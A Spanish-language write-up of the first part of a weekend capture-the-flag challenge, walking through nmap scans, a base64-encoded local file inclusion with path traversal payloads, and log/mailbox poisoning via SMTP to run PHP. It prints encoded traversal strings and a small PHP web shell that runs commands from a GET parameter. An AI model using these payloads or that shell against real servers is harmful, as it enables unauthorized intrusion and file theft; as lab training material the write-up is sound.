Solucionario de Underc0de Weekend #3 (Parte 1)

11:00 by Unknown 6 Comments A⁺ a^-

Por si alguien no lo conoce, Underc0de Weekend, es un reto semanal que estamos haciendo, el objetivo es ser el primero en resolverlo, pudiendo así ganar puntos y premios (http://underc0de.org/underweekend.php).

Solucionario:

Después de descargar el reto y configurar el entorno nos encontramos con una imagen de presentación:

Primero, antes que nada hacemos un scan rápido con nmap para buscar las nuevas ips de nuestra red, en mi caso use un escaneo rápido por ping:

Código

$ nmap -sn 192.168.1.0/24 // Esperamos a que termine el scan

De estas ips, la única q no reconozco (al ser mi red de hogar) es 192.168.1.36, teniendo el objetivo le hacemos un scan en profundidad

Código

$ sudo nmap -sS -P0 -sV -O 192.168.1.36 //Esperamos que termine 

Podemos apreciar que tiene 3 servicios activos:

Entre ellos destacan 2, un servidor web en el puerto 80 y un servidor de emails en el 25 primero, antes que nada como buen desarrollador y como fuerte en la programación, me inclino a buscar vulnerabilidades a nivel código en la aplicación web (tal vez alguien de redes hubiera analizado primero el Postfix)

Analizando un poco el html nos encontramos con un curioso comentario:

<a href="v.php?a=YXNjaWkxLnR4dA==">foo</a>

A simple vista se puede detectar el Base64Encode intentado proteger la integridad de la petición GET, en este punto lo primero que se me ocurrió fue que se trataba de un Base64 SQL Injection, pero antes de ponernos a trabajar, sin duda es una url que no dejamos de visitar:

El primer paso a seguir era ver que estaba ocultando el Base64 y en ese momento descarté totalmente cualquier tipo de SQL Injection y me dí cuenta de que absolutamente y sin dudas se trataba de un Local File Inclusion (LFI).

Lo primero que se me ocurre es usar el LFI para incluir el index y estar 100% seguro de que estamos ante un LFI, probé varios nombres .php (index.php, index.php5, home.php, etc) hasta que descarté la posibilidad de que nuestro index fuera un .php y me dedique a incluir html.

Para los que no sepan a estas alturas, este tipo de LFI requiere que antes de ejecutarlo encodeemos en base64 el parámetro enviado, en nuestro caso

index.html ---> Base64 ---> aW5kZXguaHRtbA==

Para mi sorpresa el index.html no se incluye, entonces me empiezo a preguntar, que está haciendo v.php que incluye ascii1.txt, pero no index.html, parseará solo txt? O tendrá especificado un directorio especifico para la búsqueda de archivos? Sera bypasseable???

Entonces, descarto posibilidades intentando incluir un directorio con su path, en este caso:

/etc/passwd ---> L2V0Yy9wYXNzd2Q=

Para mi sorpresa tampoco se realizó el LFI, empecé a sospechar de otro tipo de Vulnerabilidad, pero antes de darme por vencido intente un Scape Dir Bypass.

Para el que no lo haya escuchado nunca, se trata de una técnica para intentar escapar de la jaula actual redireccionando el recorrido que hace el LFI por medio de Path Transversal (el clásico ../).

Entonces, para estar seguro retrocedemos varios directorios hasta llegar al raíz y luego incluimos nuestra ruta al archivo algo así:

../../../../../../../../../../../../../../etc/passwd

Que será

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Con éxito logramos incluir nuestro /etc/passwd, de pasada lo miramos un rato y encontramos unos usuarios comunes del sistema:

Obviamente postfix es el usuario de mail, así que a nosotros nos interesan los otros 2.

Con el fin de fijarme si SSH realmente estaba funcionando selecciono uno de estos usuarios e intento realizar una conexión ssh, esperando el famoso

password: _

Esto me pilló por sorpresa, no solo era un LFI, sino también el ssh me pedía un Private RSA Key del usuario. Por lo que intuyo que con ese LFI debería leer los key rsa de los .ssh, pero... no se con que nombre esta guardado el key...

Eso me desconcertó un rato, y decido seguir buscando archivos con el LFI:

Primero intento leer la configuración de apache2 para ver si el sitio realmente se hostea en /var/www o si el virtual directory es otro, además de asegurarme que no existe otra web en otro puerto o directorio virtual, para eso:

LFI → ../../../../../../../../../../../../etc/apache2/apache2.conf --->
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2FwYWNoZTIvYXBhY2hlMi5jb2
5m

Obtenemos la estructura general de los directorios de configuración de apache2, leemos lo que queremos, pero a nosotros por el momento nos interesa, ports.conf y sites-avalibles/default.

ports.conf nos dice que no hay ningún otro sitio montado en el mismo server ahora vamos que nos dice el /etc/apache2/sites-available/default de apache.

Por lo que vemos el virtual path es el correcto /var/www y además ejecuta cgi-bin scripts.

Lo primero que intuí fué que la solución venia por el lado de Shellshock Cgi-bin Scripting por lo que hice un pequeño PoC con curl

Puse a la espera un nc para recibir la shell... cosa que nunca llegó, entonces después de estar un largo rato desconcertado, me puse a leer la configuración de postfix... y nada y nada y nada... así casi 3 horas, leyendo y leyendo todos los archivos de configuración que me encontré en /etc, intenté leer /var/log y nada.

También volví a leer /var/mail y tampoco, ya frustrado y por irme a dormir, me

picó el insomnio y decidí hacer un pequeño programa en python que automatizara todo el proceso de explotación del LFI, les dejo una imagen del código (dentro de poco lo terminare y lo dejaré público).

Lo que hace este script es mandar a inyectar al LFI todo diccionario de paths que recopilé de internet y algunos que agregue yo, y si existe una respuesta por parte del servidor q no sea nula, guarda la salida con el path de la inyección en un archivo llamado output.txt (Estoy trabajando en una versión definitiva, donde cada uno pueda agregar el tipo de codificación y la url vulnerable. Además la lista al ser un txt es sumamente personalizable).

Al ejecutarlo, recopilé muchísima información pero nada importante...

Esta vez deje de lado por un momento el LFI y me puse a testear el SMTP a ver si existía algún fallo, lo primero que probé fue explotar shellshock como lo hice en mi guía de 0day Shellshock Qmail (http://underc0de.org/foro/bugs-y-exploits/explotar-shellshock-en-smtp-qmail/) pero no logre ningún resultado... entonces me puse a jugar con los usuarios de /etc/passwd y comencé a enviar emails entre ellos, para los que no sepan como funciona el protocolo SMTP les
dejo una guía rápida (Google no muerde!)

Helo me
Mail from:<usuario>
rcpt to<usuario>
data
Contenido del EMAIL.
.

Lo terminamos con “.” para que se envié el Email.

Muy frustrado ya, y por irme a dormir de nuevo, me doy cuenta que todo este tiempo fui un idiota, y que siempre mandaba correos a los usuarios de cuervo a underdist y de underdist a cuervo y que me había saltado por completo al usuario www-data (el usuario de apache) y que aunque sea un usuario especial también tiene buzón de emails... y que www-data al ser dueño de /var/mail/www-
data (su propio buzón) iba a poder leerlo desde mi LFI!!! así que otra vez me dió insomnio y me puse a trabajar! (No estaba muy seguro de esto).

Entonces desde el LFI inyecto el siguiente path ../../../../../../../../../../../var/mail/www-data

Yo no lo podía creer, estaba saltando en una pata y ya casi eran las 4 am, luego de esto se me ocurrió por lógica pura, que el LFI ejecutaría cualquier email con contenido php que enviara, lo primero que intenté fué este codigo php:

<?php
$fp = fopen('test.php', 'w');
fwrite($fp, '<?php if($_GET['active']=='si'){
system( $_GET['c']); } ?> ');
fclose($fp);
?>

Realice el LFI y para mi sorpresa el fichero no se había logrado subir, supuse que por un problema de permisos, entonces directamente intenté inyectar mi shell en el lfi, pero esto por algún motivo rompió el fichero /var/mail/www-data y me vi obligado a reinstalar la maquina virtual...

Me dije a mi mismo... ¿Podre ejecutar system(), exec(), shell_exec(), etc?
Entonces envié el siguiente mail:

<?php

system('ls');

exec('ls');

shell_exec('ls');

Exploto el LFI y espero ver una exec exitosa pero...

Nada... no se había ejecutado nada... por lo que dije, bueno no tengo permisos de escritura, y tampoco tengo permisos de ejecución... busquemos algún directorio donde pueda escribir...

Y puse a DirBuster a trabajar:

Entonces probé escribir en todos los directorios, pero no pude encontrar ninguno con privilegios de escritura... otra vez en el circulo, probé infinidad de cosas... todo tipo de inyecciones y ataques LFI... pero no logre nada, Otra vez por irme a dormir... y justo antes de sentarme en la cama, recuerdo un escenario similar que leí en una vieja revista de hackxcrack donde por medio de un LFI ejecutaban Weevely... yo muy dentro mio dije... esto es imposible... no tiene sentido, no puedo ejecutar system() ni exec() ni nada similar... no tengo privilegios de escritura en ningún lado... Weevely no debería funcionar, es imposible... pero por descarte fui y lo intente. Genere mi weevely shell.

Copio en contenido de mi shell y envié el ultimo correo que estaba dispuesto a enviar esa noche...

Esta vez... cambió un poco la técnica de inyección, de momento no nos interesa visualizar en el navegador la ejecución del código php, lo que nosotros vamos a intentar va a ser... por mas loco que suene... conectarnos con weevely al path con el LFI...